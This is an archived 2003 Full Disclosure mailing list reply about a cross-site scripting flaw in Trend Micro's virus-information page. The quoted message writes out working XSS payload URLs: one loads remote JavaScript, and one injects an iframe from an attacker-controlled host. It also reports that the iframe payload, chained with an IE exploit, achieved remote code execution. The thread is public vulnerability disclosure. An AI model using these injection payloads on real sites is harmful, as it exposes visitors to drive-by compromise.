Full Disclosure mailing list archives
Re[2]: Selfmade worms in the wild ;)
From: Redaktion-Kryptocrew <momolly () kryptocrew de>
Date: Sat, 30 Aug 2003 16:09:46 +0200
hi Donnie, thanks for your very fast privat & list reply - you're my man for xss ;) regards -mo- m> well... lets see, we could make it an untrusted link by m> " m> http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756& m> VName=WORM_MSBLAST.<script%20language="JavaScript"%20src="http://www.astalavista m> .com/backend/news.js"%20type="text/javascript"></script> " m> and include some remote javascript of our choice, or the latest IE ADODB explot. m> the obvious choice for that would be the classic.. m> http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756& m> VName=WORM_MSBLAST.<iframe m> src="http://some-evil-host/script/orhtml/etc/bla/"></iframe> m> for everones info, the above was tested with the ADODB exploit to execute m> remote code... sucessfully i might add. ( unpatched IE ) m> this goes to show that XSS is still very much a security concern, especially m> coupled together with the lastest browser exploit to become a very dangerous m> vector of attack, especially by way of a previously "trusted" URL. m> this is not looking real good for trend. m> good job Mo 8-) m> morning_wood m> http://exploitlabs.com m> http://e2-labs.com m> ----- Original Message ----- m> From: "Redaktion-Kryptocrew" <momolly () kryptocrew de> m> To: <full-disclosure () lists netsys com> m> Sent: Friday, August 29, 2003 12:02 AM m> Subject: [Full-disclosure] Selfmade worms in the wild ;)
You can change id's and names... -mo- Kryptocrew .: your security advisor team :. mailto:momolly () kryptocrew de
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Selfmade worms in the wild ;) Redaktion-Kryptocrew (Aug 29)
- Re: Selfmade worms in the wild ;) knitti (Aug 29)
- Re: Selfmade worms in the wild ;) morning_wood (Aug 30)
- Re[2]: Selfmade worms in the wild ;) Redaktion-Kryptocrew (Aug 30)
- <Possible follow-ups>
- Re: Selfmade worms in the wild ;) knitti (Aug 29)